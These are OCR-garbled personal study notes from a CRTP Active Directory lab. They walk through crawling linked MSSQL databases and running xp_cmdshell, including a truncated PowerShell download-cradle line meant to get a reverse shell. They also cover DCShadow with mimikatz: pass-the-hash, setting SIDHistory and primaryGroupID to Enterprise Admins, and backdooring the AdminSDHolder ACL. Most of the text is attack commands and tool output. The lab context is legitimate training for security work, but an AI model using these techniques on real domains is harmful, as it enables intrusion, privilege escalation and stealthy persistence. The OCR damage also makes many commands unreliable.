
: False
s_data_access_enabled : True
: 11/13/2018 10:19:35 AM

: dcorp-mssql
: dcorp-mssql

: DCORP-SQL1.DOLLARCORP.MONEYCORP.LOCAL
: Remote

: sQL server

I SQLNCLI

alse

Links to Another Database Called - ocror-sqL1

DatabaselLinkLocation - remote
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Manullay Using HidiSQL APP

@ Session manager ? X
Session name ~ P Settings _/* Advanced [l Statistics
i:,‘ Unnamed *
Network type: {MiclosoftSQLSuv:t (TCP/IP) |
Hostname / IP: {dcnrp-mssql

[]Prompt for credentials
[ Use Windows authentication

er root

=

[ Compressed client/server protocol

Databases: Separated by semicolon v

Comment:

New IV Save ] Delete Cancel ‘ More  |v

We Have A Database Links - DCORP-SQL1

® Unnamed\ - HeidiSQL Portable 9405125

-

File Edit Search Tools Goto Help P Donate to the HeidisQl pro
M-S RI8|2-F B ONNOOVXDP-L-BEn oa=;0
Database filter (] Table filter ¥ @l Host deorp-mssql P Queny” 5
IS 1select * from master..sysservers ] Columns
master 2 > 7 SQL functions
model > » SQL keywords
msdb. > [ Snippets
tempdb > © Query history
[ Dl sysservers (30x3)
srvid srvstatus - srvname srvproduct providername datasource location providerstring schemadate topolo
0 1,089 DCORPMSSQL SQL Server SQLOLEDB DCORP-MSSQL L N 2018-11-03 13:46:46.883
1 1,184 DCORP-SQLL SQL Server SQLOLEDB DCORP-SQL1 L (NULL] 2018-11-13 10:19:35.493
2 1,184 DCORPSQUIDOWARDNRBIMOIEVCORPUOGA  sQLServer  SQLOLEDB DCORP-SQL 1.DOLLARCORP.MONEYCORP LOCAL L 218-11-13 10:28:28.010

o Enumerate Database Links - Manually

o Openquery() Function can be use to run queries on a linked database:

» select * from openquery(”NAME_DB_LINK”, "COMMAND")
= select * from openquery(”DCORP-SQL1”, ' select * from sysservers ' )

o 568 Jiidl 328 395 SasS JS war B i o LS| Inie o) winy wsS Jaiwl pgo ope Ly

1select * from ope_nqu_er'y("dcorp-sqll"", fselect * from master. .sysserversh] » [ Columns

2 > SQL functions
> & SQL keywords
> | Snippets
> (2 Query history

_/ ] openquery (30x2) |

svid  srstatus | srvname srvproduct providername  datasource location  providerstring  schemadate
0 1,089 DCORP-SQLL SQL Server SQLOLEDB DCORP-5QL1 NULL 2016-11-04 08:45: 15,887
1 1,184 DCORP-MGMT.DOLLARCORP MONEYCORP.LOCAL SQL Server SQLOLEDB DCORP-MGMT.DOLLARCORP.MONEYCORP .LOCAL LL, INULL, 2018-11-13 11:19:20.400

o Keep Jumping onto different Links Manually

o select * from openquery(”DCORP-SQL1”, 'select * openquery("DCORP-MGMT", '' select * from master..sysservers '' )’) —

and so on .

# Enumerateing Database Links -> PowerUpSQL
Get-SQLServerLinkCrawl -Instance dcorp-mssql -Verbose
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SQL Server 2017
DCORP-MSSQL

0

{DCORP-MssQL}

dcorp\studentadmin

{DCORP=SQL1, DCORP-SQL1.DOLLARCORP.MONEYCORP.LOCAL}

SQL Server 2017
DCORP-sQL1

0

{DCORP-MSSQL, DCORP-SQL1}

db1inkuser

{DCORP=MGMT . DOLLARCORP . MONEYCORP . LOCAL }

SQL server 2017
DCORP-5QL1

0

{DCORP-MSSQL, DCORP-SQL1.DOLLARCORP.MONEYCORP.LOCAL}
dbTinkuser

{DCORP-MGMT . DOLLARCORP .MONEYCORP . LOCAL }

SQL Sserver 2017
DCORP-MGMT

0

{DCORP-MSSQL, DCORP-SQL1, DCORP-MGMT.DOLLARCORP.MONEYCORP.LOCAL}
sgluser

{EU-SQL .EU.EUROCORP.LOCAL }

Executing Command ( xp_cmdshell )
On the target server, either xp_cmdshell should be enabled

if rpcout is enabled ( disabled by default ) , xp_cmdshell can be enabled using

EXECUTE('sp_configure “xp_cmdshell”,1,reconfigure;’) AT “eu-sql”

# Execute Command

Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query "exec master..xp_cmdshell 'whoami'" | ft <- FormatTable
# Manually
select * from openquery("dcorp-sqll", 'select * from openquery("dcorpmgmt",''select * from openquery("eu-sql.eu.eurocorp.local"
@@version as version;exec master..xp_cmdshell "powershell
whoami)' ') "))
Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query "exec master..xp_cmdshell 'whoami'" | ft

Ps c:\AD\Tools> Get-sqQLServerLinkcCrawl dcorp-mssql
i Instance CustomQuery Sysadmin pPath

server 2017 DCORP-MSSQL {DCORP-MSSQL}

server 2017 DCORP-SQL1 {DCORP-MSSQL, DCORP-SQL1}

server 2017 DCORP-SQL1 {DCORP-MSSQL, DCORP-SQL1.DOLLARCORP.MONEYCORP.LOCAL}

Server 2017 DCORP-MGMT {DCORP-MSSQL, DCORP-SQL1, DCORP-MGMT.DOLLARCORP.MONEYCORP.LOCAL}

s&rver 2017 DCORP-MGMT . {DCORP-MSSQL, DCORP-SQL1.DOLLARCORP.MONEYCORP.LOCAL, DCORP-MGMT.DO. .
server 2017 EU=SQE {nt_service\mssqlserver, } {DCORP-MSSQL, DCORP-SQL1l, DCORP-MGMT.DOLLARCORP.MONEYCORP.LOCAL, E..
server 2017 «EU=SQk {nt service\mssqlserver, } {DCORP-MSSQL, DCORP-SQL1.DOLLARCORP.MONEYCORP.LOCAL, DCORP-MGMT.DO. .

We can execute command across Forest trust just by using Database Links.

So, How Get A Reverse Shell on the EU-SQL server ?

Get-SQLServerLinkCrawl -Instance dcorp-mssql.domain.forest.local -Query 'exec master..xp_cmdshell "powershell iex (New-Object

CRTP-Notes-Meshari-Almalki 108



it’s register temporarily a new Domain Controller on the target domain , and uses it to
“push” attributes Like:

« SIDHistory
* SPNs
on specified objects ( Without leaving the change logs for modified object )

So, There are no ( 4662 ID Directly service access logs ).

How New Domain Controller Register?

The New DC registred By Modifying Multible objects For Example:
« Configuration Container.
« SPNs for computer objects from where the attacks executed.

« Couple of RPC services.

Because the attributes are changed from a “ Domain Controlled “ , there
are no Directory Changes logs on the actual DC for the target object

By Default Domain Admin Privileges are Required to use DCShadow

It’s Possible execute DCShadow Without DA

e The attacker’s machine must be part of the Forest Root Domain ( able to successfully DCShadow )

A

7

Attacking:

We need Two Instances Mimikatz:

1. start RPC server With System Privileges and specify the object and attributes to be
modified in this instance.

Q. lsadump::dcshadow /object:<userName> /attribute:Description /value="Hello From DCShadow"
2. Enough Privileges ( DA or Otherwise ) By default DA privileges, to pushes the value

a. lsadump::dcshadow /push

Demo:
Start Mimikatz And should Running it with SYSTEM privileges.

For this lab, two shells are required

1. one running with system privileges

2. with privileges of a domain member that is in opomain adnin group

# Load the driver in mimikatz:
I+

Iprocesstoken

# Check the system Privileges:
token: :whoami
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CHEEER, mimikatz 2.1.1 (x64) built on Jun 16 2018 18:49:05 - 1il!
J## N ##. "A La Vie, A L'Amour" - (oe.eo)
# o/ \ # Benjamin DELPY “gentilkiwi® ( benjamin@gentilkiwi.com )
## 0\ / ## > http://blog.gentilkiwi.com/mimikat
T## v o## Vincent LE TOUX ( vincent.letoux@gmail.com )
> http://pingcastle.com / http://mysmartlogon.com  ***/

imikatz # !+
‘'mimidrv’ service already registered
'mimidrv' service already started

mimikatz # !processtoken
Token from process @ to process @

* from @ will take SYSTEM token

* to @ will take all 'cmd' and 'mimikatz' process
Token from 4/System

* to 4528/mimikatz.exe

mimikatz # token::whoami

* Process Token : {0@;000003e7} 3 D 7685806 AUTHORITY\SYSTEM 5-1-5-18 (e4g,31p) Primary
* Thread Token :

no token

Now run This command to change the value of the Attribute for a specific user:

lsadump: :dcshadow /object:rooti3user /attribute:Description /value="Hello From DCShadow"

PS C:\Users\studentl3.mcorp> . C:\AD\Tools\PowerVview.psl
PS C:\Users\studentl3.mcorp> Get-NetUser rootl3user

€rs,DC=moneycorp,DC=Tocal
{top, person, organizationalPerson, user}
displayname rootl3User
userprincipalname : rootl3user
name : rootl3User
objectsid : $-1-5-21-560323961-2032768757-2425134131-1118
samaccountname ¢ rootl3user

£

: 805306368

: 1/4/2019 10:49:33 AM
9223372036854775807

E @
: LDAP://CN=rootl3User,CN=Users,DC=moneycorp,DC=Tocal
: 4

: 475b0241-0cef-45c4-94e9-174cd276abc6

: 1/1/1601 12: 00 AM

: 1/1/1601 1. :00 AM

Schema, CN=Configuration,DC=moneycorp,DC=1ocal
5 2:28 AM, 1/4/2019 10:32:28 AM, 1/3/2019 1:22:13 PM...}

: rootl3

: 1/1/2019 7:16:01 AM
sn : user
badpwdcount O]
cn : rootl3user
useraccountcontrol : 66048
usncreated : 612388
primarygroupid ESTS
pwdlastset : 1/1/2019 7:16:01 AM

Server: mcorp-dc.moneycorp.local
InstanceIld : {fb45bf45-1dd1-4c9b-9c33-164e8a8b1226}
InvocationId: {fb45bf45-1dd1-4c9b-9¢c33-164e@a8b1226}
[FaKeNSErVer (not already registered): [McoRp=sStudentlsumoneycorp.local

Attributes checking

#0: Description

Objects

#0: ‘rootl3user
DN:CN=rootl3User,CN=Users,DC=moneycorp,DC=1local
Description (2.5.4.13-d rev 4):
Hello from DCShadow
(480065006c0B6cLO6T002000660072006T006d062000440043085300680061006400670077000000)

Starting server

> BindString[@]: ncacn_ip_tcp:mcorp-student13[52365]
> RPC bind registered
> RPC Server is waiting!

Fress Control+C to stop ==

How we got a DA Here ?

When We Escalate our Privileges from DA to EA using the krbtgt of DollarCorp we can get the
hashes of Administrator of moneycorp.local
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sekurlsa::pth /user:Administrator /domian:moneycorp.local /ntlm:<HASH_OF_ADMINISTRATOR> /impersonate

mimikatz # sekurlsa::pth /user:AdminiSEREtor /domain:moneyconpulocal /ntlm:71de4fod50ceblfe4de?adof23e6dcdc /impersonate
user Administrator
domain moneycorp.local
program \AD\Tools\mimikatz_trunk\x64\mimikatz.exe
impers. : @Es
INTLM 1 71de4fodseceblfe4de7a@9f23e6dcdc
| PID 3708
| TID 422
ERROR kuhl_m_sekurlsa_acquirelLSA ; Handle on memory (©x08000085)
ERROR kuhl_m_sekurlsa_pth_luid ; memory handle is not KULL_M_MEMORY_TYPE_PROCESS

mimikatz # _

mimikatz # |pRiVElEgENdebug
Privilege <2@MmOK

Administrator
: moneycorp.local
: C:\AD\Tools\mimikatz_trunk\
1 yes

3124
3544
LSA Process is now R/W
LUID o ; 7728789 (©@000000:0075e95)
_ msvl_@ - data co
_ kerberos - data copy @ @8@882E@E675ACESS
aes256_hmac > null
aesl28_hmac null
rc4_hmac_nt 4
_ rc4_hmac_old
_ rc4_md4
rc4_hmac_nt_exp
rc4_hmac_old_exp
*Password replace @ ©00082E0678B6468 (32) -> null
en Impersonation

Now Run the command wWith Domain Admin And push the Attribute:

mimikatz # ‘TSadumptEdeshadcwpush
#0: rootl3user ** Domain Info **
DN:CN=rootl3User,C
Description (2.5Mbomain: DC=moneycorp,DC=1ocal
Hello from DCSMconfiguration: CN=Configuration,DC=moneycorp,DC=local
(480065006c006 @S hema: CN=Schema,CN=Configuration,DC=moneycorp,DC=1local
dsServiceName: ,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=moneycorp,DC=local
. domainControllerFunctionali 7 ( WIN2els )
Starting server@highestCommittedUSN: 636277

BindString[@]: @** server Info **

RPC bind regist

RPC Server is willserver: mcorp-dc.moneycorp.local

Press Control+Cl InstanceId : {fb45bf45-1dd1-4c9b-9c33-164e0a8b1226}
axObjects : 10@l TnvocationId: {fb45bf45-1dd1-4c9b-9c33-16428a8b1226}

cMaxBytes : ©x@Fake Server (not already registered): mcorp-studentl3.moneycorp.local
ulExtendedOp: @

[E% P!rforming Registrati

** performing Push **

Syncing DC=moneycorp,DC=local
Sync Done




PS C:\Users\studentl3.mcorp> Get-NetUser rootl3user

Togoncount : 0/ ;
: 1/1/1601 12:00:00 AM
Hello from DCShadow C ""\cht’
hi=rootl3User,CN=Users,DC=moneycorp,DC=1ocal
{top, person, organizationalPerson, user}
: rootl3User
userprincipalname : rootl3user
name : rootl3uUuser
objectsid : S-1-5-21-560323961-2032768757-2425134131-1118
samaccountname : rootl3user
codepage :
samaccounttype : 805306368
whenchanged : 1/4/2019 11:23:09 AM
i 1 9223372036854775807
0
LDAP: //CN=rootl3User,CN=Users,DC=moneycorp,DC=local
4

475b0241-0cef-45c4-94e9-174cd276abcé
1/1/1601 12:00:00 AM
60 b 10 - A

| In DCShadow attacks - There is no change logges on the target object.

DCShadow Minimal Permissions:
DCShadow can be used with minimal permissions by modifiying acLs OF
« The Domain Object
o DS-Install-Replica ( Abb/Remove Replica in Domain )
o DS-Replicataion-Manage-Topology ( vanage Replication Topology )
o DS-Replication-Synchronize ( replication Synchronization )
« The sites object ( and it’s children ) in the Configuration Container
o CreateChild and DeleteChild
« The object of the Computer which is registred as a DC
o WriteProperty ( wot write )
« The target object

o WriteProperty ( not write )

on the Domain Object:

Hello from noDA

1 TPM Devices
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moneycorp.local Properties ? X

General Managed By %;eﬂktb\.le Editor

Group or user names:

2 5YSTEM
| 82 Entenvise Read-oiy Domain Controlelincom\Enterrise Rea... ¥ |

Add... Remove ‘

Pemissions for Everyone Alo
Full control O
Read a
Wite O
O
O

Create all child objects
Delete al chid objects

For special pemissions or advanced settings, cick Ad ‘
Advanced.

Cancel Aoply Help

What the permissions are required:
« ADD/Remove Replica in Domain
« Manage Replication Topology

« Replication Synchronization

Oon the site Container:

[ Active Directory Sites and Services | = [m] X
File Action View Help
e 2@ XEc=HBm &
Ml @# Active Directory Sites and Servic|| Name Type Description
~ s —
> B DSE CorErolE ars Servers Contai...
o= . S Site Se... Site Settings
> & New Site...
B Find.
v
New > Ly
All Tasks >
Refresh
oropeties 1]
Help
i
|
A< >
Opens the properties dialog box for the current selection.

Sites Properties ? K

General Object Securty Attribute Editor F

Group or user names:

BR SYSTEM

§i& Enterprise Read-only Domain Controllers (mcom\Entemrise Read-o...
B2 Domain Admins (mcorp\Domain Admins)

B2 Enterprise Admins (mcom'\Enterprise Admins)

Pemissions for Authenticated Users
Full control

Read

Wiite

Create all child objects

Delete all chid objects

O00ORO|E

For special pemmissions or advanced settings, click |
Advanced

[T = Hep

« CreateChild
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« DeleteChild
We can set all of these manually.

OR

We Can use Set-DCShadowPermissions From Nishang for setting the
permissions.

e With Domain Admin Privileges We can modifiy any object from any machine as domain admin
e But if we use Minimal Permission then the scope much restricted

For Example, to use DCShadow as user studenti to modify rootiuser oObject from machine mcorp-

studentl

Set-DCShadowPermissions -FakeDC **mcorp-studentl** -SAMAccountName **rootluser** -Username **studentl** -Verbose

We Must log in mcorp-studenti as studenti S0, We can modifiy rootiuser
The second Mimikatz instance ( which runs as DA ) is not Required

We Need DA on the mcorp.local

8234.160.172

rporation. A1l rights reserved.

ools\Invoke-Mimikatz.ps1
mikatz

Wwindows Powershell
Copyright (C) 2016 Microsoft Corporation. A1l ri reserved.

mimikatz (powershe’ > .

Jrun:powerehall.ePS C:\Windows\system32> _
user =~ : Adminis:

domain : moneyco

program : powershy

do4 £y
| 5
|

rc4_hmac_nt.
4_hmac_oli
sword r{

| £¥ Administrator: C\Windows\System32\WindowsPowerShellyw1.0\powershell.exe = ml X

Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> . C:\AD\Tools\Set-DCShadowPermissions.psl
PS C:\Windows\system32> Set-DCShadowPermissions mcorp-studentl3 root%guser studentl3

WARNING: This script must be run with Domain Administrator privileges or equivalent permissions. This is not a check
but a reminder

VERBOSE: i ng permissions for user studentl3 for all Sites in CN=Sites,CN=Configuration,DC=moneycorp,DC=local
VERBOSE: Providing studentl3 minimal replication rights in DC=moneycorp,DC=Tocal

VERBOSE: Providing studentl3 write permissions for the computer object
\CN=MCORP-STUDENT13,CN=Computers,DC=moneycorp,DC=Tocal to be registered as Fake DC

VERBOSE: Providing studentl3 write permissions for the target object CN=rootl3user,CN=Users,DC=moneycorp,DC=local

PS C:\Windows\system32>

Now After That run mimikatz and run the DCShadow Module as we do it before:

lsadump::dcshadow /object:rootl3user /attribute:Description /value="Hello DCShadow Without DA"

mimikatz # lsadump::dcshadow /object:rootl3user /attribute:Description /value="Hello from DCShadow without DAL

Now Run Second Mimikatz with our privileges:
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e & mimikatz 2.1.1 x64 (0e.eo)

HomainControllerF

..... _ - N5 — " - e _ HE9
ighestCommittedu CHHEEE mimikatz 2.1.1 (x64) built on Jun 16 2018 18:49:05 1il!

J## ~ ##. "A La Vie, A L'Amour" - (oe.eo)
## [/ \ ## Benjamin DELPY “gentilkiwi® ( benjamin@gentilkiwi.com )
## 0\ [ ## > http://blog.gentilkiwi.com/mimikatz
"#H# v ##' Vincent LE TOUX ( vincent.
#HEaH" > http://pingcastle.com / http://mysmartlog

k* Sapyer Info **

Ferver: mcorp-dc.
Instanceld : {
InvocationId: {

ake Server (not mimikatz # lsadump::dcshadow /push

Domain Info **
e s 1

AREIILES CheDomain:k DC=moneycorp,DC=1local

Configuration: CN=Configuration,DC=moneycorp,DC=local

Schema: CN=Schema, CN=Configuration,DC=moneycorp,DC=1ocal

dsServiceName: ,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=moneycorp,DC=
domainControllerFunctionality: 7 ( WIN2@l6 )

ba: rootl3user highestCommittedUSN: 636354

DN:CN=rootl3User
Description (2.
Hello from DC
(480065006C00

Server Info **

Server: mcorp-dc.moneycorp.local

InstanceId : {fb45bf45-1dd1-4c9b-9¢33-164e6a8b1226%}

InvocationId: {fb45bf45-1dd1-4c9b-9c33-164e0a8b1226}
« Starting ServeFake Server (not already registered): mcorp-studentl3.moneycorp.local

i i i * ok

. BindString[@]: Performing Registration
RPC bind regi
> RPC Server is
Press Control+
cMaxObjects : 1
cMaxBytes H<)
ulExtendedOp: @|,, i . i .y
pNC->Guid: {536 Performing Unregistration
pNC->Sid : S-1-
pNC->Name: DC=m( , . N
FessionKey: 115d3m1m1katﬁ # -

object(s) pushe

Performing Push **

v v v

Syncing DC=moneycorp,DC=local
Sync Done

PS C:\Users\studentl3.mcorp> Get-NetUser rootl3user

0

1/1/1601 12:00:00 AM

Hello from DCShadow without DA

CN=rootl3User,CN=Users,DC=moneycorp,DC=1ocal

{top, person, organizationalPerson, user}

rootl3User

rootl3user

rootl3User

5-1-5-21-560323961-2032768757-2425134131-1118

rootl3user

0

805306368

1/4/2019 11:30:07 AM

9223372036854775807

0

LDAP: //CN=rootl3User ,CN=Users,DC=moneycorp,DC=local

4

475b0241-0cef-45c4-94e9-174cd276abcé

1/1/1601 12:00:00 AM

1/1/1601 12:00:00 AM

: CN=Person,CN=Schema,CN=Configuration,DC=moneycorp,DC

dscorepropagationdata : {1/4/2019 11:29:27 AM, 1/4/2019 11:29:27 AM, 1/4/2019 10:49:33 AMm, 1/4/2014
givenname 2
whencreated g /2 7:16:01 AM

Once We have permission sorted out , so much of interestign stuff can
be done.

For Example , set smonistory Oof a user Account to EA or DA group:

lsadump: :dcshadow /object:<user> /attribute:SIDHistory /value:SID-519 -> EA
lsadump: :dcshadow /object:studentl /attribute:SIDHistory /value:SID-519 -> EA

# To use Above without DA
Set-DCShadowPermissions -FakeDc mcorp-studentl -SAMAccountname rootluser -Username studentl -Verbose

. Set primaryGroupID of user account to EA or DA group:
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lsadump: :dcshadow /object:<user> /attribute:primaryGroupID /value:519 -> EA

* Please note that after above command is used, the user shows up as a
member of the Enterprise Admins group in some enumeration
techniques like net group "Enterpise Admins" /domain

« We Can modify ntSecurityDescriptor for AdminSDHolder to add Full Control of a user
(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=AdminSDHolder, CN=System, DC=moneycorp, DC=1local")).psbase.0ObjectSecur.

We just need to append a Full control ACE from above for sv/ea/oa with our user’s SID at the
end

SY - System
BA - Built-in Administrator

DA - Domain Admin

We want to retrieve the current ACL of The AdminSDHolder

[l

:\Users\studentl3.mcorp>

3.mcorp> (New-Object System.DirectoryServices.DirectoryEntry( )) .psbase.objectsec

'CDCLCSWRPWPDTLOCRSDRCWD! V) (A RCCDCLCSWRPWPLOCRSDRCWDW 3 3BA) ;RU) (A; ; CCDCLCSWRPWPLOCRR CWDW( DA) (A; ; CCD
3f

FER=sL 6! d
ab721a53-. 152f 11d0-9819-00aa0040529| PS) (0A; ;RP % 58 560) (¢ 805bc62-bdc9-: 44’8 aSeZ 856
;S-1-5-32-561) (0A; ;RPWP; 6db69alc-9422-11d1-aebd-! 0000f8036/c1 ;S-1-5-32-561) (OA; ;RPWP; bf96/a/f OdEG 11d0-. 3285 00a2003049e2; ; CA 3)
PS C:\Users\studentl: mcorp>

3961-2032768757- 24’513413 ) (0A; ;CR;ab721a53-1e2f-11d0- 9819 OOaaO 405“9b WD)(OA (eits RPWPCR 91e647de-d96f-

Now what we want to do?

'CDCLCSWRPWPDTLOCRSDRCWDWO Y) (A CCDCLCSWRPWPLOCRSDRCWDW <
60323961-2032768757-2425134131-519) (O, ;ab721a53-1e2f-11d0-! aa g 63
) (0 -11d0-9819-00aa0040529b; ; PS) (0A; ;RP; 46a Oae-405a-b7e8-ff8a 145 FE-l-EEe 560)(0A RPWP 5805bc6" bdc9-: 4428 aSeZ 856
SelleEEe 561)(0A RPWP 6db69alc-9422-11d1-aebd- 00001’8036/(1 Fielle -561) (OA; ;RPWP; bf96/a/f Ode@ 11d0-a285- 00330030495L. CA)

PS C:\Users\studentl3.mcorp> _

This is for Built-in Administrator so we will copy and reptace Ba with Our sid of user.

Similarly with the SY and DA.

T untitled - Notepad = X
File Edit Format View Help

0:DAG:DAD:PAI(A; ; LCRPLORC; ; ;AU) (A; ; CCDCLCSWRPWPDTLOCRSDRCWDWO; ; ; SY ) (4% CCDCLECSWRPHPLOCRSDRCWDWO;55BA) (A; ; LCRPLORC; 5 ;RU)

(A; ; CCDCLCSWRPWPLOCRRCWDWO; ; ;DA) (A; ; CCDCLCSWRPWPLOCRRCWDWO; ; 5S-1-5-21-560323961-2032768757-2425134131-519) (0A; ;CR;ab721a53-
1e2f-11de-9819-00aa@@40529b; ;WD) (OA; CI; RPWPCR;91e647de-d96f-4b70-9557-d63Ff4f3ccd8; ;PS) (0A; ;CR;ab721a53-1e2f-11d0-9819-
00aa00408529b; ;PS) (OA; ;RP;46a9b11d-60ae-405a-b7e8-Ff8a58d456d2; ;S-1-5-32-560) (0A; ; RPWP; 5805bc62-bdc9-4428-a5e2-
856a0f4c185e;;S-1-5-32-561) (0A; ; RPWP; 6db69alc-9422-11d1-aebd-0000f80367c1;;S-1-5-32-561) (0A; ; RPWP;bf967a7f-0de6-11d0-a285-
002a083049e2; ;CA) (A; ; CCDCLCSWRPWPLOCRSDRCWDWO; ; 5[EA)

py it And add it here

And Replace BA with our own SID
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PS C:\Users\studentl3.mcorp> Get-NetUser Studentis3

Togoncount
badpasswordtime
distinguishedname
lobjectclass
displayname
Tastlogontimestamp
userprincipalname
hame

objectsid
samaccountname

g 8
: 1/1/1601 12:00:00 AM
: CN=studentl3,CN=Users,DC=moneycorp,DC=local

{top, person, ganizationalPerson, user}
studentl3

¢ 1/3/2019 11:§7:33 AM

studentl3@moneycorp.local

: studentl3

: 8$-1-5-21-560323961-2032768757-2425134131-1127
: studentl3

0

: 805306368
i 17372019 11:57:33 AM
: 9223372036854775807

0
LDAP: //CN=studentl3,CN=Users,DC=moneycorp,DC=local
4

: 626559
: 9956d51f-f42e-4eaa-a3b7-5f1b8cbdd629
: 1/1/1601 12:00:00 AM
lobjectcategory : CN=Person,CN=Schema,CN=Configuration,DC=moneycorp,D
[dscorepropagationdata : {1/4/2019 11:29:27 AM, 1/4/2019 10:32:28 AM, 1/3/2019 1:06:33 PM, 1/3/2019 12:04:46 PM...}
i : studentl3
: 1/4/2019 10:33:06 AM
badpwdcount : 0
cn : studentl3
useraccountco : 512
hencreated : 1/3/2019 11:56:08 AM
primarygroupid : 513
pwdlastset : 1/3/2019 11:56:08 AM
usnchanged 1 626567

Untitled - Notepad - X
File Edit Format View Help
0:DAG:DAD:PAI(A; ; LCRPLORC; ; ;AU) (A; ; CCDCLCSWRPWPDTLOCRSDRCWDWO) ; 3SY) (A; ; CCDCLCSWRPWPLOCRSDRCWDWO) 5 3 BA) (A; ; LCRPLORC; ; 3RU)
(A; ; CCDCLCSWRPWPLOCRRCWDWO; ; ;DA ) (A; ; CCDCLCSWRPWPLOCRRCWDWO; 5 ;S-1-5-21-560323961-2032768757-2425134131-519) (0A; ; CR; ab721a53-
1e2f-11d0-9819-00aa0040529b; ;WD) (OA; CI; RPWPCR; 91e647de-d96f-4b70-9557-d63FF4f3ccds; ;PS) (OA; ;CR;ab721a53-1e2f-11d0-9819-
002a0040529b; ;PS) (0A; ;RP;46a9b11d-60ae-405a-b7e8-Ff8a58d456d2; ;S-1-5-32-560) (OA; ; RPWP; 5805bc62-bdc9-4428-a5e2-
856a0f4c185e;;S-1-5-32-561) (0A; ; RPWP;6db69alc-9422-11d1-aebd-0000F80367c1;;S-1-5-32-561) (0A; ; RPWP; bf967a7f-0de6-11d0-a285-
002a003049¢2; ;CA) (A; ; CCDCLCSWRPWPLOCRSDRCWDWO; ; 3 S-1-5-21-560323061-2032768757-2425134131-1127)

Now it’s time for DCShadow (-

lsadump: :dcshadow /object:CN=AdminSDHolder,CN=System,DC=moneycorp,DC=1local /attribute:ntSecurityDescriptor /value:<LIKE-Figure>

mimikatz # lsadum cshadow /object:CN=AdminSDHolder,CN=System,DC=moneycorp,DC=1local /attribute:itSEcuRityDescnipton #value:0:DAG:DAD:PAI(A; ;LCRPLORC; ; ;AU)|
PDTLOCRSDRCWDWO; ; A; ;CCDCLCSWRPWPLOCRSDRCWDWO; ; ;BA) (A; ; LCRPLORC; ; ;R 5 ; CCDCLCSWRPWPLOCRRCWDWO;; ; ; DA) (A; ; CCDCLCSWRPWPLOCRRCWDWO 1-5 560323961
131-519) (0A; ;CR;ab721a53-1e2f-11d@-9819-00aa0040529b; ;WD) (0A;CI;RPWPCR;91e647de-d96-4b70-9557-d63Ff4f3ccd8; ; PS) (0A; ;CR; ab721a53-1e2f-11d0-9819-00aa0040529t|

a9b11d-6@ae-485a-b7e8-Ff8a58d456d2; ;S-1-5-32-56@) (OA; ;RPWP;5885bc62-bdc9-4428-a5e2-856a0f4c185¢e;3S-1-5-32- 3RPWP; 6db692alc-9422-11d1-aebd-8080f88367C])
(OA; ;RPWP; bf967a7f-0de6-11d0-a285-002a003049e2; ; CA) (A; ; CCDCLCSWRPWPLOCRSDRCWDWO; ; ;S-1-5-21-560323961-20327687 25134131~ 11'_’7)_

Now With Second Mimikatz with DA privilegs:

CRTP-Notes-Meshari-Almalki 117



Instanceld : {fb45bf45-1dd1-4c9b-9c33-164e0a8b1226}
A | InvocationId: {fb45bf45-1dd1-4c9b-9c33-164e0a8b1226}
#0: ntSecurityDescrifake server (not already registered): mcorp-studentl3.moneycorp.local

* Performing Registration *

#0: CN=AdminSDHolders* pepforming Push
ntSecurityDescript
eycorp,DC=local
1-
H
b721253-1e2f-11de-9¢
db69alc-9422-11d1-ack* performing Unregistration
1-1127)
(e1e00494140200¢
052000000020020000@¢mimi katz # @sadump: :deshadeii’/push
500000079dd6521 5963 Domain Info
ccd8010100000000000°
0600000652000060038€Domain oneycorp,DC=local
620600080008052008@¢Configuration: onfiguration,DC=moneycorp,DC=1local
0651560000079dd652115chema: CN=Schema, CN=Configuration,DC=moneycorp,DC=local
dsServiceName: ,CN ervels, C Default-First-Site-Name,CN=Sites,CN=Configuraf
) domainControllerFunctionality: 7 ( WIN2816 )
Starting server ‘highestCommittedUSN: 636398

BindString[@]: ne¢xx sepyer Info
RPC bind register
RPC Server is waiserver: mcorp-dc.moneycorp.local
Press Control+C t Instanceld : {fb45bf45-1dd1-4c9b-9c33-16420a8b1226}
cMaxObjects : 1088€ nyocatio {fb45bf45-1dd1-4c9b-9c33-164e0a8b1226}
cMaxBytes : @x@frake Server (not already registered): mcorp-studentl3.mon
ulExtendedOp: @
P“C'>G‘f1d3 {53682¢x* performing Registration
pNC->sid s-1-5
PNC->Name: DC=monex* performing Push
SessionKe 11ad369¢
[Inobject(s)mpushed |syncing DC=moneycorp,DC=local
Sync Done

** performing Unregistration **

Now Let’s check our Permission :

File Acion View Help

X {0/XEO0B Bm SauTYEa

3 Name Type Description
ot 8 Dnsadmins Security Group... DNS Administrators Gro
s 88 Dnsupdateprory Security Group... DNS clents who ae per,
< 8, Domain Admins Security Group... Designated administrato.
21 Do Cotratrs | BkDomain Computers Security Group... All workstations and ser,
FoeSecutypancipa] | B8 Domsin Contolers Security Group... Alldomain controllers

P 8 Domain Guests Security Group... All domain quests

LostAndFound 8 Domain Users Security Group... Al domain users
Managed Senvice Accou| B Enterpri Security Group... Designated administrato

Program Data B Enterpris Security Group,

« = System B Enterpris Read- in Controlers Secuity Group

B Group Policy Creator Security Group, 7 x
B, Guest User
B Key Adrmins Security Group.
DomainUpdates || @, kubtgt User
1P Securiy B rotected Users Secuity Group =
Meetings R4S and 1A Servers Security Group.
MicrosofONS | @ esd-only Domain Contralers Securty Group
Poh & rooti0User User
“4 & rooti1U: Us
& root12User User Adwinafrcs T
o npone| Brootiavse User Ad. | [Renove ]
& roottduser User
O Confguton | B pis " Pemissions for sudert13 Now Dy
FSR-GlobalSettings | oot13User — 1o o A
R G| 0 e = o o
FieLinks & root7User User © H
Password Settings Cc|| & root18User User -\ o
PSP & rootisUser User g
Rpcsenvices & rootilser User ' o
8 root20User User o
B rootzbiser User
& rootibiser User
 rootstser User
& rootsUser User Concl
& rootsser User
& root7User User
- || 8 ot User

We have Exact same permission As built-in Administrator

AdminSDHaolder Properties ? X

General Object Secuity Attibute Editor
Group or user names
88 SYSTEM A
a student 13 (student 13@moneycom local)
82 Domain Admins (mcormp\Domain Admins)
B& Cert Publishers {mcorp'\Cert Publishers)
82 Erterrise Admins (mcom'\Enterprise Admins)

F  {Adminsitors (mcop\Adminstatos) _|d

Add.. Remove
Pemmissions for Administrators Alow Deny
Full control O o -
